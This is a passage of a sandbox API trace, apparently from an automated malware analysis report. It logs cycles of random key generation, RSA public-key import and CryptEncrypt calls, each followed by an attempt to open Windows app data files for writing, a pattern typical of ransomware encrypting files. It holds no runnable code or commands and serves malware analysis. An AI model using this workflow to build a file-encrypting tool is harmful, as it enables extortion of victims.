dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0286.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.754] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.754] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0286.754] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.754] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0286.757] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.759] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.759] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0286.759] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.759] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0286.761] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8d70) returned 1 [0286.761] CryptGetKeyParam (in: hKey=0x67a8d70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.761] CryptEncrypt (in: hKey=0x67a8d70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd2a0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd2a0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0286.761] GetLastError () returned 0x0 [0286.761] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.762] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0286.763] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8c30) returned 1 [0286.763] CryptGetKeyParam (in: hKey=0x67a8c30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.763] CryptEncrypt (in: hKey=0x67a8c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd2b0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd2b0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0286.764] GetLastError () returned 0x0 [0286.764] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.764] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Microsoft.WindowsCamera_5.38.3003.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\microsoft.windowscamera_5.38.3003.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.846] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0286.850] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.852] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.852] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0286.852] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.852] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0286.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.857] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0286.857] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.857] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0286.859] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8f30) returned 1 [0286.859] CryptGetKeyParam (in: hKey=0x67a8f30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.859] CryptEncrypt (in: hKey=0x67a8f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd2c0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd2c0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0286.860] GetLastError () returned 0x0 [0286.860] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.860] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0286.861] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8db0) returned 1 [0286.861] CryptGetKeyParam (in: hKey=0x67a8db0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.861] CryptEncrypt (in: hKey=0x67a8db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd2d0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd2d0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0286.862] GetLastError () returned 0x0 [0286.862] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.862] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Microsoft.WindowsMaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsmaps_8wekyb3d8bbwe\\microsoft.windowsmaps_4.1505.50619.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.891] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0286.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.897] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0286.897] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.898] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0286.900] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.903] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0286.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.903] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0286.906] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8f70) returned 1 [0286.906] CryptGetKeyParam (in: hKey=0x67a8f70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.906] CryptEncrypt (in: hKey=0x67a8f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd2e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd2e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0286.906] GetLastError () returned 0x0 [0286.906] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.906] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0286.908] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8e30) returned 1 [0286.908] CryptGetKeyParam (in: hKey=0x67a8e30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.908] CryptEncrypt (in: hKey=0x67a8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd2f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd2f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0286.908] GetLastError () returned 0x0 [0286.908] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Microsoft.WindowsPhone_10.1506.20010.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsphone_8wekyb3d8bbwe\\microsoft.windowsphone_10.1506.20010.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0286.980] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0286.984] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.987] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0286.987] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0286.988] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0286.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0286.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0286.993] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0286.993] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0286.994] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0286.997] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a90b0) returned 1 [0286.997] CryptGetKeyParam (in: hKey=0x67a90b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.997] CryptEncrypt (in: hKey=0x67a90b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd300000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd300000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0286.997] GetLastError () returned 0x0 [0286.997] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0286.997] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0286.999] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8930) returned 1 [0286.999] CryptGetKeyParam (in: hKey=0x67a8930, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0286.999] CryptEncrypt (in: hKey=0x67a8930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd310000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd310000*, pdwDataLen=0x285db40*=0x100) returned 1 [0287.000] GetLastError () returned 0x0 [0287.000] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.000] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Microsoft.WindowsStore_2015.7.1.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\microsoft.windowsstore_2015.7.1.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.027] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0287.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.033] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.033] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0287.033] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.033] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0287.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.040] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.040] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0287.040] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.041] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0287.043] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a89b0) returned 1 [0287.044] CryptGetKeyParam (in: hKey=0x67a89b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0287.044] CryptEncrypt (in: hKey=0x67a89b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd320000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd320000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0287.044] GetLastError () returned 0x0 [0287.044] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.044] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0287.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8c70) returned 1 [0287.046] CryptGetKeyParam (in: hKey=0x67a8c70, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0287.046] CryptEncrypt (in: hKey=0x67a8c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd330000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd330000*, pdwDataLen=0x285db40*=0x100) returned 1 [0287.047] GetLastError () returned 0x0 [0287.047] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.047] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\Microsoft.XboxApp_5.6.17000.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\microsoft.xboxapp_5.6.17000.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.112] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0287.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.118] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.118] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0287.118] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.118] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0287.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.123] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.123] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0287.123] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.123] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0287.125] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a89f0) returned 1 [0287.125] CryptGetKeyParam (in: hKey=0x67a89f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0287.125] CryptEncrypt (in: hKey=0x67a89f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd340000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd340000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0287.126] GetLastError () returned 0x0 [0287.126] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.126] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0287.128] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8ff0) returned 1 [0287.128] CryptGetKeyParam (in: hKey=0x67a8ff0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0287.128] CryptEncrypt (in: hKey=0x67a8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd350000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd350000*, pdwDataLen=0x285db40*=0x100) returned 1 [0287.128] GetLastError () returned 0x0 [0287.128] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.128] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\Microsoft.ZuneMusic_3.6.10841.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\microsoft.zunemusic_3.6.10841.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.159] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0287.162] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.165] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.165] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0287.165] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.165] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0287.168] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0287.170] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0287.170] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.170] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0287.172] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8a30) returned 1 [0287.173] CryptGetKeyParam (in: hKey=0x67a8a30, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0287.173] CryptEncrypt (in: hKey=0x67a8a30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd360000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd360000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0287.173] GetLastError () returned 0x0 [0287.173] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0287.173] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0287.175] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a8df0) returned 1 [0287.175] CryptGetKeyParam (in: hKey=0x67a8df0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0287.175] CryptEncrypt (in: hKey=0x67a8df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd370000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd370000*, pdwDataLen=0x285db40*=0x100) returned 1 [0287.175] GetLastError () returned 0x0 [0287.175] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0287.175] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\Microsoft.ZuneVideo_3.6.10811.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\microsoft.zunevideo_3.6.10811.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0287.361] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5c4760) returned 1 [0287.365] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0287.368] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") 